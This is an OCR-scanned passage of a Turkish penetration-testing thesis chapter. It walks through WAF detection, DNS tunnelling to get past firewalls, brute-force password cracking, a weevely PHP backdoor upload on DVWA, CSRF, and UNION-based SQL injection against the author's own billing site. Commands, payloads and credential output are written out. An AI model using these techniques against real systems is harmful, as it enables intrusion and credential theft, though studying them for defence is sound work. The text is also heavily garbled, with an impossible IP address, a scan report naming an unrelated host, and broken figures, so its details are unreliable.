test ve atlatma islemi yapacagiz.

4.4.1 Firewall, WAF ve Kesif Operasyonlari

Yapacagimiz uygulama, giivenlik cihazlarinin ve saldirt yapilan sistemin engelleme
araglarim1 kesfetmek olacaktir. Bunu da 3 asamada uygulayacagiz. Standart TCP
baglantisi iizerinden, iletisimini saglayan istemci saldirt yapilacak sisteme SYN paketi
gondererek, kars1 sistemden ayn1 sekilde SYN paketi geri doniiyorsa servisin agik oldugu

bilgisi istemciye ulagacaktir.
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root@kali:~# nmap -sS -p80 karansu.com

Starting Nmap 6.40 ( http:/nmap.org ) at 2021-01-01 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)

Host is up (0.18s latency).

Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.karansu.com

PORT STATE SERVICE

80/tcp open http

Sekil 46. Nmap ile servis kontrolii

2.adimmmizda ise aynm sekilde TCP iizerinden baglantiya gectiginiz sistemin SYN paketi
gonderdigimizde herhangi bir geri paket gelmiyorsa servisin kapali oldugu durumlarda
sistemden paket gonderen istemciye RST paketi doner servisin kapali oldugu bu sekilde

tespit edilecektir.

root@kali:~# nmap -sS -p443 karansu.com

Starting Nmap 6.40 ( http//nmap.org ) at 2021-01-01 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)

Host is up (0.18s latency).

Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.karansu.com

PORT STATE SERVICE
4431cp closed hitps

Sekil 47. Nmap ile servis kontrolii

3. adimimizda ise gondermis oldugumuz paketlere hedef sistemden higbir yanit
almamiyorsa, saldir1 yapilacak olan sisteminin Oniinde giivenlik 6nleminin alindigi
sOylenebilir. Bu tarz durumlarda ise Sekil 47°de en alt satirda su sekilde yazacaktir:

*22/tcp filtered SSH”’. Portun filtered olarak goziikecektir erisim sinir1 olacaktir.

70



4.4.2 Web Application Firewall (WAF) Kesif Caligmasi

Siber saldirilarin artmasiyla beraber saldiran sistem agiklari ve savunma tarafindaki
onlemleri arttirabilmek i¢in 6zellikle Web tarafinda WAF iirlinlerinin 6n plana ¢ikmasina
sebep olmustur. Bu cihazlar yapilan saldirilar1 engellemektedirler. Hedef sisteme saldiri
diizenlenmeden once aktif bir koruma aracinin olup olmadig: kontrol edilmelidir. WAF
veya IPS gibi koruma sistemlerine sahip olurlarsa sizma testi yapilacak olan sisteme ona

gore Onlem alinip saldir diizenlenmesi gerekmektedir.

Kali Linux icerisinde gelen wafwO0Of araci ile saldir1 yapilacak olan sistemin Oniinde
herhangi ¢alisan koruma sisteminin oldugunun tespiti yapilabilmektedir. Kullanimi kolay
olan bu aracin yazacagimiz komut “wafwO0O0f fatura.karansu.com® ile hedef sistemin

korundugu Sekil 48’de goriildiigi gibi bilgileri kisa bir siirede elimize gececektir.

root@kali:~# waf00f fatura.karansu.com
WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking fatura.karansu.com

Generic Detection results:

The site fatura.karansu.com seems to be behind a WAF
Reason: The server header is different when an attack is detected.

The server header for a normal response is "Microsoft-1IS/7.0", while the server
header a response to an attack is "Microsoft-HTTPAPI2.0.",

Number of requests: 13

Sekil 48. Wafw0O0f araci

4.4.3 DNS Tinelleme Yontemi

Sizma Testi yaparken kullandigimiz uygulamalarin yerel ag iizerinden gelen istekleri
kabul eder, bunun gibi olan durumlarda giivenlik duvarlarini atlatabilmek i¢in tiinelleme

yontemini kullanarak SSH iizerinden sunuculara baglanmaya calisiyoruz. Tiinelleme
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yontemini uygulayabilmemiz i¢in saldir1 yapacagimiz sistemin iizerinde direk

baglantimizin olmasi gerekmektedir.

Yapacagimiz saldirida alinan giivenlik 6nlemlerini DNS tiinel ile atlatmak i¢in 6ncelikle
olmasi gerekenler, saldirilan sistemin biitiin portlart kapali olmasi tiim protokoller
korumaya alinmis ve engellenmis olmasi gerekmektedir. Web baglantisina hizmet veren
Proxy ise sadece yetkilendirilmis kullanicilara baglanti saglamaktadir. Tiinelleme
hakkinda bilgi verecek olursak bir protokol {izerinden basgka protokollere ait veri tasima
islemi diyebiliriz. Dns tiinelleme ise Dns paketi icerisinde yer alan tcp/udp paketini

gonderme islemi olarak tanimlayabiliriz.

DNS trafigi
tm port ve protokolier yasak

L g

swilch
chient firewall

web proxy

Content Filter
Dns Server

Sekil 49. DNS tunnel

Dns sunuculart kendisinden once Onbellegini kontrol eder eger onbelleginde yoksa
sorgulardan sorumlu dns server bularak istenilen bilgileri temin eder. Saldir1 yapilan
sistem fatura.karansu.com alan adina paket gonderilir yanit alinamaz ise adindan sorumlu

dns.fatura.karansu.com kayd: sorgulatarak, istemciye gonderir.

4.4.4 Tcp-Over-Dns Calisma Sekli

Tcp-over-dns istemcisi, Dns verilerini sifreleyerek internet servis saglayicisina DNS
gonderir. ISP Dns sunucuyu istege yanit vermediginde Dns request Tcp-over — dns
sunucusuna iletir. Dns isteklerinize yanit alabilmek i¢in nslookup karansu.com komutu

ile web sayfasinin IP adreslerini 6grenebilirsiniz. Tcp-Over Dns sunucu yapilandirmasi
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icin domain ve sunucuya ihtiya¢ vardir. Sunucu: tunnel.karansu.com Dns:

dns.karansu.com TOD server trafigi SSH servisine gonderilecektir, bu da 443 port oluyor.

Client bilgisayarda istemci.bat dosyasi diizenlenerek domain kism1 dns.karansu.com alan
adr ile degistirilir. Istemci.bat dosyas1 kaydettikten sonra calistirdigimiz zaman tiinel i¢in

127.0.0.1 8080 baglant1 noktasindan dinlenmeye baslanilacaktir.

File Edit Format View Help

@SET DOMAIN=tunnel.karansu.com

@SET LISTPORT=8080

@SET LISTADDR=127.0.0.1

@SET INTERVAL«20

@SET MTU=1500

@SET TRUNCBYTES=0

@SET LOGLEVEL=3

@SET QUERYTYPE=TXT

@SET CLIENTENC=base63

java -jar tcp-over-dns-client. jar --domain XDOMAIN% --listen-port ¥LISTPORTY

Sekil 50. TOD yapilandirmasi

Tod istemci, yerel agda kullanic1 8080 baglanti noktasini dinlemeye agarak asagidaki
Sekil 51°de oldugu gibi bu baglant1 noktalarina yapilan baglantilar tunnel.karansu.com

443 baglant1 noktasina gonderilecektir.

BN C:\Windows\system32\cmd.exe o |- B [

C:\Users\labpc\Desktop\tcp-over—-dns—-1.3>java —jar tcp-over—-dns—client.jar —domna
in tunnel.karansu.con listen—port 8080 listen—address 127.0.0.1 interval 20§
ntu 1500 trunc-bytes @ query-type TXT client-enc base6t3 log—level :

mair tecp-over—-dns-client arting up

mai = 2cting tunnel.karansu.com
main: i

main:

main:

main: tening on: 86880:,127.0.0.1
main: ration allowance: @
main: Query type: TXI

main: Client encoding: bhaset3
main: Log level: 3

Sekil 51. TOD yapilandirmasi 2

Yapacagimiz testte putty aracini kullanarak 127.0.0.1:8080 baglant1 noktasina baglanmak
icin aract baglattigimizda karansu.com adresinin 443 baglanti noktasina bizi

yonlendirecek ve erisim saglanacaktir.
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@ PuTTY Configuration

Category
| = Session
- Logging
- Teminal
Keyboard
Bell
Features
- Window
Appearance
Behaviour
Translation
Selection

Basic options for your PuTTY session

Specify the destination you want to connect to

Host Name (or IP address) Pott
127.0.0.1 8080|
Connection type:
Raw Telnet Rlogin @ SSH

Load, save or delete 3 stored session
Saved Sessions

Sekil 52. PUTTY araci

Senal

SSH trafigi giivenlik duvarlan tarafindan engellenmis olsa dahi Dns ve Ssh trafigini

dinlenmistir. Bununla bir hotspot yontemi atlatilmaktadir(BGA Bilgi Giivenligi,2017).

4. 45 lodine ile Dns Tiinelleme

Tiinelleme araglarindan islemimizi kolaylastirici bagka bir arag ise iodine aracidir. Ayn

sekilde server-client mantigiyla ¢alisan aracimiz kurulum saglandiktan sonra istemci

tarafindan baglanmasi kolaydir. Kali Linux’te ekledigimiz aracimiz “iodine -l 50 -f -P

secretpassword tunnel.karansu.com komutunu girerek Dns sorgumuzu iletiyoruz. Ayni

agda gilivenlik uygulamalari izin verdigi i¢in iodine aracimizi baslattigimiz 34.197.209.11

sunucumuza iletiyor. Terminalimizde ifconfig yazarak kurulan baglanti ile sistemimize
dns0 ara yiizii i¢in 10.0.0.02 IP’si verildi(Karag6l,2018).
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Sekil 53. lodine sraciyla tiinelleme

Tiinel baglantisi ile sunucuya baglanarak SSH c¢alistirabiliriz. Kali de “SSH
userl@10.0.0.1 komutunu gireriz.

1ibuntu

Sekil 54. SSH paketi ile firewall atlatma

Normalde giivenlik uygulamalar iizerinden iizerinde DNS paketlerinin alinmasina izin
verilirken tiinelleme sonucunda SSH paketlerimizi kagirarak giivenlik uygulamasini

atlatmis olduk.
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4.4.6 SSL ile WAF/IPS Sistemlerini Kandirma

Yapacagimiz islemde SSL protokollerinin giivenlik duvarlarini atlatmak istiyoruz. Kendi

web sayfamizin www.karansu.com saldirt dnleme sistemi (IPS) bulunmaktadir. IPS

giivenlik ihlallerini, tehlike unsurlarini 6nleme ve tespit etmesini saglayan giivenlik
duvarinin arkasinda ¢aligan bir teknolojidir. Gelen her paket kontrol edilerek analiz edilir
ve bu paketlerle alakali eylemler gergeklestirilir. Bu eylemelere 6rnek verecek olursak
sistem yOneticisine uyar1 gonderme, kotii paketlerin gegirilmemesi, CRC hatalarini
denetleme, trafik kontrol gibi eylemler yer almaktadir. www.karansu.com iizerinde
bulunan IPS icin bir test yapacagiz. Bu testte IPS’in engelledigi word listten olan

cmd.exe’yi arama kismina yazacagiz.

* CH karansu.com/?s=cmd.exs MO O 9 e =

Aves L sowval ) Unux U Programiama U security L hacking  [LJ Pervest LU pene [B) On Parmak Q Kiav I vesnsrs [ rackvertor BB [Mow-To) Mastall §

&

This webpage is not avaliable

Sekil 55. SSL iizerinden giivenlik duvarinin atlatilmasi

Yazdigimiz cmd.exe IPS tarafindan bloklu oldugu i¢in arama sayfasi direk
bulunamiyorsa donmiistiir. IPS aktif olmadiginda direk web sunucu tarafindan

bulunamadi yazis1 gelecektir.

4.5 Web Uzerinde Yapilan Testler

Yapacagimiz testler ile web uygulamalarinda bizi sikintiya sokan agikliklar ve zarar veren
zafiyetleri gérmeye calisacagiz. DVWA, OWASP uygulamalar1 tarafindan kontrol

edecegiz.
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4.5.1 DVWA (Zafiyet Barindiran Web Uygulamasi)

Dvwa (Damn vulnerable web application) bahsedecek olursak Owasp tarafindan
olusturulan ve igeriginde birgok agikliklar bulunduran uygulamadir. Web
uygulamalarinda sizma testleri ve giivenligi ile ugrasan kullanicilarin kendisini
gelistirmek i¢in PHP altyapisini kullanirlar. Yapacagimiz sizma testlerinde hukuki agidan
yetki sahibi olmadiginiz sisteme test yapmak yasaktir. Dvwa giivenligin icerisinde

bulunan aciklik tiirleri sunlardir;

Brute force, Command execution, Csrf, File inclusion, File Upload, SQL Injection, SQL
injection Blind, XSS reflected, XSS stored.

[E Most Visited~ EGocgle “Of‘fensive Security '\\Ka\.i Linux '\Kali Docs ™ Exploit-DB ‘Aircrackfng LAl Bilisim Seminerler...

[ Welcome to Damn Vulnerable Web App!

Instructions [‘I_'amn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers

Setup better understand the processes of securing web applications and aid teachers/students to teach/learn web

application security in a class room environment.

Brute Force WARNING!
EommangiExecytion Damn Vulnerahle Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
CSRF any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAM which is used solely for testing.
Insecure CAPTCHA . .
: : Disclaimer
File Inclusion

SQL Injection ‘We do not take responsibility for the way in which any one uses this application. We have made the purposes of

the application clear and it should not be used maliciously. We have given warnings and taken measures to
SQL Injection (Blind) prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of

Upload | DVWA it Is not our responsibility It is the responsibility of the person/s who uploaded and installed it.
Upload
XSS reflected General Instructions

XSS stored The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
page

DVWA Security
PHP Info

fou have logged in as "admin’
About

Sekil 56. DVWA (Damn vulnerable web application)
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4.5.1.1 Brute force(kaba kuvvet saldirisi)

Brute Force yonteminden bahsedecek olursak kullanilmaya uygun kullanici adi ve
sifrelerin denenerek bulunma ihtimalleri kiimesidir. Benzer bir arag ise sozliik saldiris
icerisinden bulunan 6rnek test kelime listesine denir. Kamu kuruluslari, Kobiler ve E-
ticaret sitelerine karsi saldir1 tiiriidiir. En fazla kullanilan kaba kuvvet saldirilarindan

bahsedecek olursak bunlar; Hydra, medusa, ncrack, ophcrack.

a. Hydra

Hydra, penetrasyon testinde kullanilabilen Brute Force araglarindan biridir. Hydra
genellikle bir uzaktan kimlik dogrulama servisidir. Saldir sirasinda diger araglardan daha
hizlidir.Bu arag, HTTP, FTP ve diger iyi bilinen protokoller gibi bir¢ok protokolii
destekler. Windows, Linux, Solaris ve MAC OS platformlart bu araci destekler(Brute
Forcing,2012).

Asagida Sekil 57° de goriilen uygulama da kaba kuvvet saldirisin1 6nlemek igin diisiik ve
orta diizey saldirilar i¢in herhangi bir 6nlem alinmamistir. Fakat yiiksek diizey saldirilar
da her bir hatali giris igin sleep (3) girilen kod ile 3 saniye bekletilmekten 6tiirii her
deneme yapildiginda bekletecegi icin bu tarz saldirilarinin 6niinii kesmektedir. Diisiik ve

orta diizey olan burp suit, hydra, medusa gibi araglar kullanilmaktadir.

File Edit View Search Terminal Help

sult( $result, $i, “"avatar" sult({ $result, $i, "avatar|

otected an rotected &

Sekil 57. Kaba kuvvet saldiris1 6nleme
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Diisiik ve orta diizey olan Burp Suit, Hydra, Medusa gibi araglar kullanilmaktadir. Hydra:

Sekil 58. Hydra araci

Kullandigimiz komut ¢izelgesinde yukaridaki Sekil 57 de goriildiigii gibi —L kullanici
ad1 listesi, -P sifre keyword listesi, method se¢iminde ise ttp-get-form, http-post-form
ftp, mysql ,ssh gibi bircok servis segilebilir. header : “[Parametre]:[Hata
Mesaj1]:[H=header(cookie)]”

Sekil 59. List sonuglar:

b. Medusa

Medusa' nin hizli, biiyiik 6lglide paralel, modiiler giris yapan bir brute-forcer diyebiliriz.
Amaci, miimkiin oldugunca uzaktan kimlik dogrulamaya izin veren bir¢cok hizmeti
desteklemektir. Uygulamanin temel ozelliklerinden bazilari su sekildedir: pargacik
tabanl test etme, esnek kullanict girdisi, modiiler tasarim igeriklerine sahiptir. Birde
bir¢cok protokolii destekler. Bazilart MSSQL, MySQL, PostgreSQL, SSHV2, RLOGIN,
SNMP ve ¢ok daha fazlasi. Ornek olarak girecegimiz komutta root@kali:~/ Desktop#
medusa -U kullanici.txt -P sifre.txt -M http -h 114.111.523.181 -t 10 -e ns -O result.txt
dosyasina yazdirilan ve es zamanli olarak “—t 10” komutuyla 10 kez istek gondererek

komut satir1 olusturulur.
root@kali :~/Desktop# cat result.txt

# Medusa v.2.1.1 (2020-11-25 22:01:11)
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# medusa -U kullanici.txt -P sifee.txt -M http -h 140.127.190.184 -t 10 -e ns -O sonuc.txt

ACCOUNT FOUND: [http] Host: 114.111.523.181 User: admin Password: 1234
[SUCCESS]

ACCOUNT FOUND: [http] Host: 114.111.523.181 User: root Password: 1234
[SUCCESS]

# Medusa has finished (2020-11-26: 01:20).

¢. Ncrack

Ncrack; ag kimlik dogrulama saldirisinda kullanilabilen bir kirma aracidir. Bu arag,
paralel isleme konusunda hizli ve giicliidiir, ayrica genis aralikli protokollerde kullanilir.
Ncrack, modiiler altyapi nedeniyle ek protokolleri destekleme konusunda esnektir.
Gtivenlik personeli ve biiylik aglarda sifre giivenligini glivenli bir sekilde denetlemek
isteyen sirketler tarafindan kullanilir. Ncrack araci, Nmap XML verilerini kullanarak
agdaki tiim servislere yazacagimiz komut ile ilk basta port taramasi yapilir daha sonra

xml output i¢in (-OX) kullanilarak bu sonuglari sonu¢.xml dosyasina kayit edilir.
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# nmap -oX sonuc.xml 192.168.1.107
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 15:48 +03
Nmap scan report for 192.168.1.167
Host is up (@.8016s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresqgl
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: @0:0C:29:3E:3F:C1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 8.31 seconds

Sekil 60. Nmap xml verileri cekme

Kullanacagimiz —IX komutuyla nmapten c¢ekmis oldugumuz xml verilerini ncrack
eklenir. Daha sonra —U ve-P kullanic1 ve parola listesi eklenir —v parametresiyle de

detaylar listelenir.
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# ncrack -iX sonuc.xml -U kullanici_listesi.txt -P parola_listesi.txt -v
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-31 15:42 +03

Service with name 'smtp' not supported! Ignoring...

Service with name 'domain' not supported! Ignoring...
Service with name 'rpcbind' not supported! Ignoring...
Service with name 'microsoft-ds' not supported! Ignoring...
Service with name 'exec' not supported! Ignoring...

Service with name 'login' not supported! Ignoring...
Service with name 'shell' not supported! Ignoring...
Service with name 'rmiregistry' not supported! Ignoring...
Service with name 'ingreslock' not supported! Ignoring...
Service with name 'nfs' not supported! Ignoring...

Service with name 'ccproxy-ftp' not supported! Ignoring...
Service with name 'postgresql' not supported! Ignoring...
Service with name 'X11' not supported! Ignoring...

Service with name 'irc' not supported! Ignoring...

Service with name 'ajpi3' not supported! Ignoring.

Service with name 'unknown' not supported! Ignoring...
bttp://192.168.1.107:80 finisned.

Discovered credentials on netbios-ssn://192.168.
Discovered credentials on netbios-ssn://192.168.
Discovered credentials on netbios-ssn://192.168.
Discovered credentials on netbios-ssn://192.168.
Discovered credentials on netbios-ssn: .168.
Discovered credentials on netbios-ssn: .168.
Discovered credentials on netbios-ssn: 92.168.
Discovered credentials on netbios-ssn: .168.
Discovered credentials on netbios-ssn: .168.
Discovered credentials netbios-ssn: .168.
Discovered credentials netbios-ssn: .168.
Discovered credentials on netbios-ssn: .168.
Discovered credentials on netbios-ssn: .168.
Niscovered credentials on netbios-ssn: 2.168.
retbi sn://192.168.1.107:139 finished.

vne: /7 05.3. +3%99 Tinisned.
mysql://192.168.1.107:3306 finished.

Discovered credentials on ftp://192.168.1.107:21 'msfadmin' ‘msfadmin’
ftp://192.168.1.107:21 finished.

ssh://192,168.1.107:22 finished.

.107: ‘' '23564754362364"
.107: ‘' '3456854436221"
.107: 't '34675321'

.107: '' '67656523346568557346"
.107: 'Y O'434632546"

.107: e

.107: 'Y '1234567890%-"
.107: ‘msfadmin' ‘msfadmin’
.107: " 'msfadmin’

.10e7: ''o'12345761°

.107: 't '324675653652"
.107: 'Y '32463621352"
.107: 'Y '6437546567"

.107: A

N N e e o

Sekil 61. Ncrack kullanim

Sekil 61°de goriildiigi gibi ncrack brute force saldirisi basladi ve ncrack saldirt
kullanilmayacak olan servisleri aralarindan kontrol ederek atladi. 21 baglanti noktasini
FTP protokoliinde kullanici adi ve sifresi tespit edilmis ve 139 numarali baglanti
noktasinda NETBIOS ile bitiin kullanict adi ve sifrelerinin  uygunlugu
g6zlenmistir(Birkan,2020).

d. Ophcrack

Internet kaynaginda Ag kimlik dogrulama sifreleri kirmak igin rainbow tablolari kullanan
licretsiz bir sifre kiric araci diyebiliriz. Rainbow tablo yontemi sifre kirma yontemlerine
gore en hizlisidir. Windows igerisindeki SAM (Windows giivenlik hesap yoneticisi) alip

yiikleyebilir.
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ophcrack

DU d v 0@

Load, Delete Save, Tables Stop Help Exit About

Progress | Statistics = Preferences

User ~  LMHash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd
o 31d6cfe0d16ae931073c59d720c089c0 empty
31décfe0dl6ae331b73c59d7e0c083c0 empty
SUPPORT_388945a0 34ec619d1dEc952d44ad5898a6815fce
Administrator 59ab4dfds... dc9333bacdeb4a7e09c73dbee36ffed8  K477EKY  LLINGO7 K477Ekylling07
Guest 31ldécfe0d16ae931b73c59d7e0c088c0 empty
SUPFORT_388845a0 167b3177504221efaa009a593dc7281e
Table Directory Status Progress
- exPireefast homefianu... 84% inRAM [
@ tableo 36%in RAV |
@ table1 100% in R |
@ table2 100% inR... |
@ table3 100%inR...
- @ Vista free ’homefiaru... 100%inR... SOOI
@ table 100% inR... [ |
@ tablel 100% inR.. [ |
@ table2 100% inR... [ |
@ table3 100% inR... [ |
Preload: done Brute force: done Pwd found: 4/6 Time elapsed: 0Oh 14m 36s

Sekil 62. Ophcrack arayiizii

4.5.2 CSRF Acikligi Saldirilart

CSRF agikligi, siteler arasi istek sahtekarligi olarak tanimlanmaktadir. Web yazilimi
kullanan kisilerin haberi olmadan agikliklarindan faydalanma olaylaridir. Yazilima gelen
ve giden isteklerin kaynaklara bakmaksizin kontrol disi agikliklarin olustugu ve bu
yazilimlar1 yapan kisilerin yapmis olduklari uygulamadaki zafiyetleri glivenlik agikligt
olarak tabir edebiliriz. CSRF olarak kisaltilan ve bu giivenlik ac¢igina Session Riding
denilmektedir.

<form name="tstForm" action="/index.php" method="POST">
<input type="text" name="sName'" value="" />

<textarea name="'sText"></textarea>

<input type="submit" name="btSubmit" value="godnder'">
f/form>

Sekil 63. Basit bir yorum i¢in html formu

Yukaridaki yazmis oldugumuz form, /index.php betigine HTTP istegi gonderir.
Index.php asagida yer alan kodu igerir.

83



$sName = $_POST["sName"]; $sText =$_POST["sText"T;

If ($sName && $sText && CUser::IsAuthorized())
CComment::AddComment($sName, $sText); Else Echo "Error";

Yukaridaki PHP kodu name ve text degiskenleri null olarak doénmediyse kimlik
dogrulanip comment fonksiyonlar1 ¢alistirip yayinlanacaktir. Saldirgan bu durumdan
sonra ayni istegi uygulamaya, oradan saldirn icin diger web sayfasina

yonlendirebilecektir(Gais Cyber Security,2019).

Baska bir saldir ise saldirgana url bazli saldir1 yapmasini saglamaktadir. Ornek verecek

olursak:

“fatura.karansu.com/sifre_degistirme.aspx?yeni_sifre=New Pass” urlmize giriyoruz
enter’a bastiginda yeni sifre,”New pass” oluyor ise test yaptigimiz sitede olmadi, olsaydi
saldirgan tarafindan bu acik kullanilacak sifrenizi degistirebilecek, istedigi her seyi
yapabilecektir.

4.5.3 File Upload Zafiyetleri

Dosya yiikleme web araglari iizerinden zararli yazilimin yiikleyerek gerceklestirilen
saldirilardir.  Saldir1  yapilacak olan web sayfasmin  kodlamasmin  diizgiin
yapilandirilmamig olmasi saldirgan tarafindan kodlanmis betigi yiiklenerek uzak
sunucunun ele gegirilme islemidir. Dosya yiikleme zafiyeti kolay bir saldir1 olsa da sebep

olacag zararlar saldir1 yapilan sisteme biiyiik zarar verecek bir saldir1 seklidir.

Bir Dosya yiikleme saldirist gergeklestirecek olursak yapacagimiz onceliklerden bir

tanesi yiiklemek istedigimiz zararli yazilimi yapmamiz gerekiyor.

Generated backdoor with password in '/root/Desktop/backdoor.php' of 1449 byte size.
@parrot
#ls -1 | grep bac

“wW-r--r-- 1 root root 1449 Sep 3 09:47 door. php
@parrot

Sekil 64. Fileupload backdoor.php olusturma
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Arka kapimizi basariyla olusturduktan sonra saldir1 yapacagimiz web sunucusuna
yiiklemek kaliyor. Dosyamiz yiiklendikten sonra kontroliinii yaptigimizda arka kapinin
sunucuya yiiklenmis oldugunu goriiyoruz ve arka kapiya baglanarak sunucuya saldiriya

baslayabiliriz.

2/dvwa/hackable/uploads/backdoor. php

arts the connection

itlon triggers an error 500, please verify script integrity and sent payload correctness

in):/var/libsgnats: /binssh

Sekil 65. Weevely araci ile erisim saglanma

Yukaridaki Sekil 65’te sunucu tizerindeki biitiin kullanici parolalarint gérebiliriz. Saldir
yapilan sisteme istedigimiz zaman baglanabilir ve devre dis1 birakabiliriz. Saldir1 yapilan
sunucu {lizerinden istenilen bilgiler alinip biitlin bilgilere erisebiliriz, Bunun haricinde veri
tabaninda ve web sayfasinda degisiklikler yapabilir ve ayrica sistemin bagli oldugu yerel
aga baglanip farkli saldirilar yapabiliriz(Goksel,2020).

4.5.4 Sqgl Injection

Web uygulamalarinda birgok teknolojik katmanlardan olugmaktadir. Bu katmanlar
birlesik olan bir¢ok sistemden olusmaktadir. Bunlara bagl olarak da farkl saldirilar ve
kod enjeksiyon saldirilari bulunmaktadir(William,Viegas ve Orso,2006). Sql dilinde de
veriye direk erisim oldugu i¢in en ¢ok saldir1 da bu yonde yapilmaktadir. Sql injection
dort kategori tizerinden degerlendirebiliriz. Bunlar klasik sql injection, 6zel sql injection,
kor(blind)  sql  injection, bilesik sql injection olarak  dort  sinifta
belirlenebilir(Gregory,Bruce ve Paolo,2005).
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Ornek bir saldir1 yapacagimiz Sql veri tabanmna sahip olan gider paylasim ve
faturalandirma islemleri yapan kendi web sayfasina yapilmaktadir. Bu web site MSSQL

veri tabanina sahip olmus olup 6rnek bir tablo asagida verilmektedir.

TBL_CATEGORIES _ 'TBL_CONTENT
% FATURA_ID % SAKIN_ID
FATURA_TEXT = SONFATURA_ID
OKUMA_ID
TBL_ADMIN THTBR.IE
D
USERNAME
PASS
EMAIL

Sekil 66. Web Sayfasimin veri tablolari ve baglantilar:

Yapacagimiz ilk oOncelik Web sayfasinin Sql injection saldirisina karsi agik olup
olmadigini kontrol ederek baslamaktir. Agig1 bulmak i¢in birden ¢ok yol bulunmaktadir.
Tarayicinin adres kismina Sql komutlar1 yazarak saldir1 yapilabilmektedir. Sql enjeksiyon
acigini tespit edebilmek i¢in dncelikle QueryString ile veri alim1 yapan sayfalar kontrol

edilecektir. ilk basta default. aspx sayfasinin drnek bir query string degeri iletiliriz.
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@ Sag.v'ac. Deger endirme 52 +

B C A Givenlidegil | fatura.karansu.com/Default/id=939432212

22 Uygulamalar @ TCMB - Bugiin 3d printer action fig... iyi siteler 3 Mp3"

Kullanici Rolii : Sakin
Kullanici Adi : PTT SUBE-HASAN AL

& Sakin islemleri

@ Konut Yetkilileri

& Son Faturam

@ Okuma Ciktilari

Sekil 67. QueryString gonderimi

Id degisken ad1 ile géndermis oldugumuz deger, veri tabani igerisinde kayit numarasini
gosterir. Querystring ile veri gonderen tespit etmis oldugumuz sayfayr SQL enjeksiyon
aciginin olup olmadigi kontrol edilmelidir. 1d kisminda yer alan yere tek tirnak koyarak
veri tabaninda hata olup olmadigini tespit edebiliriz. Veri tabani hakkinda bilgi
toplanabilmesi sayfanin su sekilde “System.Data.SqlClient.SqlException (0x80131904):
Unclosed quotation mark after the character string ". Bir hata mesaj1 alinirsa devaminda
ara¢ ¢ubuguna yazacagimiz komutlarla saldirtyr genisletebiliriz. En 6nemlisi ise admin
sifresini bulundugu tablo ele gecirerek tiim sistemi ele gecirmek olacaktir. Saldir
yapacagimiz web sayfasinin adres kismina Having 1=1 komutunu yazarak benzer web
sayfalarinda oldugu gibi hata mesaji gonderir. Diger verilen hatadan farkli olarak veri

tabaninda faturalarin bulundugu tabloda primary key kolonunu gdstermektedir.

“System.Data.SqlClient.SqlException(0x80131904): Column TBL_CONTENT
_SAKIN_ID invalid in the search GROUP BY clause
System.Data.SqlClient.SqlException " devam eden ekran ¢iktisinda saldirinin
uygulanmis oldugu veri tabaninda TBL Content tablosu ile SAKIN_ID yukarida goriilen
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ekran c¢iktisinda goriilmektedir. SAKIN_ID alanini 6grenilmesinden sonra having
komutundan once group BY SAKIN_ID yazdigimizda ekrana baska tablodan yer
gostermektedir. Bu sekilde yoklamalardan sonra veri tabanindan bulunan tablo ad1 ve her
tirlii bilgi edinilir. Yonetici bilgilerini tespit edebilmek ic¢in sgl bulunan farkli
komutlardan UNION deyimi kullanarak iki farkli sorgu sonuglar1 birlestirilir. Onemli
noktalardan birisi se¢me komutunun siitun sayilar1 esit olmasi gerekmektedir. Se¢me

sorgusunu veri tabanlardaki tablo isimlerini Sekil 68‘de gosterilmektedir.

http://fatura.karansu.com/Default?1d=77622+UNION+SELECT+TOP+1+TABLE_NA
ME, TABLE_NAME, TABLE_NAME, TABLE_NAME+FROM+INFORMATION _
SCHEMA.TABLES+WHERE+TABLE NAME+NOT+IN+(‘TBL_CONTENT”)

A Giivenli degil | fatura.karansu.com/Default?ld=77622+UNION+SELECT+TOP+1+TABLE_NAME, TABLE_NAN

when converting the nvarchar value 'TBL_ CATEGORIES' to data type

Sekil 68. Union komutu ¢iktisi

Web tarayicisinin url kismina yazmis oldugumuz id kismindan sonraki sql komut satirt
ile sorgulama islemi yapilmis ve sorgular birlestirilmistir. TBL_CONTENT tablosunda
dort adet yer oldugu i¢in dort kez tekrarlanmis olup NOT IN komutu ile CONTENT
tablosunun tekraren goriinmemesi saglandi. Bu sekilde diger tablonun ismi elde
edilmistir. Bu komutlarla birlikte admin tablosu bulunana kadar bu Sql ifadesi ile kontrol
edilmektedir. Bu sekil de asagidaki Sekil 68’de oldugu gibi admin tablosunun adi
Ogrenilmistir.
http://fatura.karansu.com/Default?ld=77622+UNION+SELECT+TOP+1+TABLE_NA
ME, TABLE_NAME, TABLE_NAME, TABLE_NAME+FROM+INFORMATION_SC
HEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('TBL_CONTENT") AND
TABLE NAME NOT IN (‘TBL_CATEGORIES’)
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A Giivenli degil | fatura.karansu.com/Default?ld=77622+UNION+SELECT+TOP+1+TABLE_NA%20ME,T,

when comverting the rvarchar value TBL ADMN' 10 data type smailint

Sekil 69. Admin tablosu ismi 6grenme

Son olarak admin tablosunu 6grendikten sonra HAVING komutu ile TBL_ADMIN
tablosuna yeni bir admin eklemek i¢in url kismima su sekilde ekleme yapilmistir.
